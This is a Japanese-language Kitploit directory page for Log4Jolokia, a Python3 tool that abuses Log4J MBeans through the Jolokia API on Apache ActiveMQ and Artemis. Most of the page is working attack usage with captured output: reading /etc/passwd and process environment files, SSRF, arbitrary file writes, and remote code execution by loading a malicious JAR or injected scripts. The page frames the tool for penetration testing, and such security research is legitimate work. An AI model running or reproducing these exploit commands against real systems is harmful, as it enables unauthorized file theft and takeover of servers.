Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Log4Jolokia — Jolokia 経由で Log4J を悪用するための Python3 実装 | Kitploit
ツール/GitHubGitHub/mbadanoiu/log4jolokia
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubmbadanoiu/log4jolokia

Log4Jolokia

Jolokia 経由で Log4J を悪用するための Python3 実装

リポジトリを見る
411ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Log4Jolokia

説明:

Python3で、Jolokia を通じて Log4J の MBeans を活用・悪用するための実装です。

使い方:

一般的なヘルプ:

root@kitploit:~
usage: log4jolokia.py [-h] [-u [USER]] [-p [PASSWD]] [--proxy [PROXY]] [-H [HEADER]] {exec_jar,write_file,read_file,exec_script} [{exec_jar,write_file,read_file,exec_script} ...] target [target ...]

positional arguments:
  {exec_jar,write_file,read_file,exec_script}
                        choose mode: exec_jar | write_file | read_file | exec_script
  target                URL to jolokia (e.g. http://127.0.0.1:8161/console/jolokia)

options:
  -h, --help            show this help message and exit
  -u [USER], --user [USER]
                        Jolokia username
  -p [PASSWD], --passwd [PASSWD]
                        Jolokia password
  --proxy [PROXY]       Optional HTTP(S) Proxy (e.g. burp at http://127.0.0.1:8080)
  -H [HEADER], --header [HEADER]
                        Other required custom HTTP headers (e.g. -H "Origin: http://localhost"
                        	-H "Referrer: http://localhost")

注: 選択するモードによって、ヘルプの一部のセクションは異なります。

このプログラムには、次の4つのエクスプロイトモードがあります:

  • ファイル読み取り + SSRF
  • ファイル書き込み
  • JARファイルのアップロードと実行によるRCE
  • スクリプト によるRCE

ファイル読み取り:

攻撃者は、Jolokia APIを介してLog4Jの "ConfigLocationUri" 属性を変更し、"ConfigText" の新しいコンテンツを読み取る( "getConfigText(String)" 関数を使用するか、Jolokiaの "read" アクションを "ConfigText" 属性に対して実行する)ことで、任意のファイルを読み取ることができます。

注: この場合、ファイルの出力をバイト単位で正確に "latin-1" エンコーディングで取得できるため、"getConfigText(String)" 読み取りベクターを使用します。

注2: このベクターは、通常は到達できない/内部のサーバーへのアクセスにも使用できます:

  • FTPサーバーからリモートファイルを読み取る
  • SMBサーバー(Windowsターゲット)からリモートファイルを読み取る
  • GETベースのブラインドSSRFを実行する(出力なし)

ヘルプ - ファイル読み取り固有のパラメータ:

root@kitploit:~
$ python3 log4jolokia.py read_file http://a -h

  ***TRUNCATED***

  -r [READ], --read [READ]
                        Absolute or relative path of a file to read on target (Use only with mode: read_file)

Example commands:
	- Absolute Path:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r /etc/passwd -u admin -p admin -H 'Origin: http://localhost'
	- Relative Path:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ./artemis -u admin -p admin -H 'Origin: http://localhost'
	- Specific Protocol:
		-- FTP:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ftp://test:[email protected]:22/test -u admin -p admin -H 'Origin: http://localhost'
		-- SMB (Windows only):
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r file:////127.0.0.1/C/test -u admin -p admin -H 'Origin: http://localhost'
		-- HTTP SSRF (Usually no output a.k.a. Blind SSRF):
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r 'http://127.0.0.1:80/test?test=test' -u admin -p admin -H 'Origin: http://localhost'

例 - "/etc/passwd" の読み取り:

root@kitploit:~
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /etc/passwd
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /etc/passwd
[+] Successfully set ConfigLocationUri to "/etc/passwd" 
[.] Reading file output from ConfigText
[+] Content of "/etc/passwd":

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
***TRUNCATED***

例 - "/proc/self/environ" の読み取り(コンテンツに印刷不可能な文字(例: ヌルバイト)が含まれるため、出力はbase64エンコードされます):

root@kitploit:~
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /proc/self/environ
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /proc/self/environ
[+] Successfully set ConfigLocationUri to "/proc/self/environ" 
[.] Reading file output from ConfigText
[.] File "/proc/self/environ" contains non-printable characters, displaying base64 encoding
[+] Base64 content of "/proc/self/environ":

TEVTU09QRU49fCAvdXNyL2Jpbi9sZXNzcGlwZSAlcwBNQUlMPS92YXIvbWFpbC9jdGYAVVNFUj1jdGYATENfVElNRUQ9ZmkuRklfVVRGLTgAU0h***TRUNCATED***

ファイル書き込み:

悪意のあるLog4J設定を作成して読み込むことで、"RollingFile -> fileName"(書き込み先)と "Pattern"(書き込む内容)パラメータの値を利用して、任意のコンテンツを任意の場所に書き込むことができます。この場合、XML形式の悪意のあるLog4J設定を作成し、"setConfigText(String, String)" 関数を利用します。

注: 複雑なバイナリファイルを書き込む場合、XML形式には特定の制御文字の制限があるため、他のサポートされている設定形式(例: Properties)を利用した2段階の書き込みプロセスが使用されています。

ヘルプ - ファイル書き込み固有のパラメータ:

root@kitploit:~
$ python3 log4jolokia.py write_file http://a -h

  ***TRUNCATED***

  -lf [LOCAL_FILE], --local_file [LOCAL_FILE]
                        Path to local file to be written on the target (Use only with mode: write_file)
  -w [WRITE], --write [WRITE]
                        Path of file to be written on the target (Use only with mode: write_file)
  -P [PERM], --perm [PERM]
                        Permissions of the file written on the target. Useful for files like "authorized_keys" that require "rw-------". (Default value is "rwxrwx---") (Use only with mode: write_file)
  --tmp_dir [TMP_DIR]   Location of a writable directory. (Default value is "/tmp")
                        		E.g. Unix == /tmp
                             		Windows == C:/Users/Public

Example command:
	python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -lf 00-ff.txt -w /tmp/test_write -u admin -p admin -H 'Origin: http://localhost'

例 - "test" を "/tmp/test" に書き込む:

root@kitploit:~
$ echo test > t.txt
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf t.txt -w /tmp/test --proxy http://127.0.0.1:8080
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from t.txt
[.] Generating Log4J configuration
[+] Generated Log4J XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[.] Checking that the file "/tmp/test" was written successfully on the target
[+] File "/tmp/test" has been successfully written on the target

例 - 不正なXML文字を含むファイルを "/tmp/test2" に書き込む:

root@kitploit:~
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf 00-ff.txt -w /tmp/test2
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from 00-ff.txt
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties" 
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties" 
[.] Checking that the file "/tmp/test2" was written successfully on the target
[+] File "/tmp/test2" has been successfully written on the target

JARの実行:

"write_file" モジュールで紹介した機能を使用して、ターゲットシステム上に任意のJARを書き込み、その後 "jvmtiAgentLoad([Ljava.lang.String;)" 関数を使用して任意のJavaコードを実行します。

ヘルプ - JAR実行固有のパラメータ:

root@kitploit:~
$ python3 log4jolokia.py exec_jar http://a -h

  ***TRUNCATED***

  -j [JAR], --jar [JAR]
                        Path to local jar to be executes on the target (Use only with mode: exec_jar)
  --tmp_dir [TMP_DIR]   Location of a writable directory. (Default value is "/tmp")
                        		E.g. Unix == /tmp
                             		Windows == C:/Users/Public

Example command:
	python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -j mal_linux.jar -u admin -p admin -H 'Origin: http://localhost'

Valid jvmtiAgent JARs can be obtained from https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit

有効なjvmtiAgent JARは、https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit から入手できます。

例 - JARファイルの書き込みと実行:

root@kitploit:~
$ python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -j mal_linux.jar
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528

[!!!] WARNING: You are about to write and execute the contents of "mal_linux.jar" on the target system. Make sure that:
	- The JAR contains a valid JVM TI agent
	- Once a JAR is successfully loaded:
		-- No new JAR can be loaded until the Java application is restarted (a.k.a. pick your commands wisely because you only have one shot)
		-- The JAR code will execute everytime the jvmtiAgentLoad() function is successfully called (result == "return code: 0")

If you agree with the above enter "yes" to continue: yes
[.] Reading content from mal_linux.jar
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties" 
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties" 
[.] Checking that the file "/tmp/mal.jar" was written successfully on the target
[+] File "/tmp/mal.jar" has been successfully written on the target
[+] Successfully called jvmtiAgentLoad()

注: 上記の「WARNING」に記載されているとおり、JVM TI Agent JAR(return code: 0)の読み込みに成功すると、その後、新しい/変更された(有効な)JARでリクエストを再実行しても、最初に読み込まれたJARのみが再実行されます。

スクリプトの実行:

Log4Jの組み込みスクリプトサポート機能を使用して、任意のスクリプト要素を含む悪意のある設定を注入できます。

注: このエクスプロイトを機能させるには、それぞれのスクリプトタイプを許可するようにLog4Jを設定する必要があります(デフォルトではスクリプトは一切許可されていません)。

ヘルプ - スクリプト実行固有のパラメータ:

root@kitploit:~
$ python3 log4jolokia.py exec_script http://a -h

  ***TRUNCATED***

  -sf [SCRIPT_FILE], --script_file [SCRIPT_FILE]
                        Path to local file containing the script to be executed on the target (Use only with mode: exec_script)
  -l [LANGUAGE], --language [LANGUAGE]
                        Language of the script to be executed (E.g. javascript, groovy, beanshell, etc.) (Use only with mode: exec_script)

Example command:
	python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'

例 - スクリプトの実行:

root@kitploit:~
$ python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=561b61ed

[!!!] WARNING: You are about to execute a javascript script from the "rce.js" file. 
Keep in mind that this script will be triggered multiple times.

If you agree with the above enter "yes" to continue: yes
[.] Reading javascript script from rce.js
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] The script should have been successfully executed

注: このモードは該当するスクリプトを読み込みますが、スクリプトが読み込まれた後に正常に実行されたか、それとも静かに失敗したかを知る方法はありません。

追加リソース:

「read_file」モードの手動エクスプロイト例:

  • CVE-2022-41678: Apache ActiveMQ の Jolokia API 経由でアクセス可能な危険な MBeans
  • CVE-2023-50780 - Apache ActiveMQ Artemis の初回報告書 - PDF

RCEにつながる「write_file」モードの手動エクスプロイト例:

  • Apache ActiveMQ Classic への任意の JSP 書き込み - PDF
  • Apache ActiveMQ Artemis での WAR 書き込みと Jetty 再起動 - PDF

「exec_jar」モードの手動エクスプロイト例:

  • CVE-2023-50780 - Apache ActiveMQ Artemis での JAR + jvmtiAgentLoad - PDF

「exec_script」モードの手動エクスプロイト例:

  • MAL-011: Red Hat AMQ で Log4J の設定ミスにより悪意のある JavaScript が実行可能
ツールをダウンロード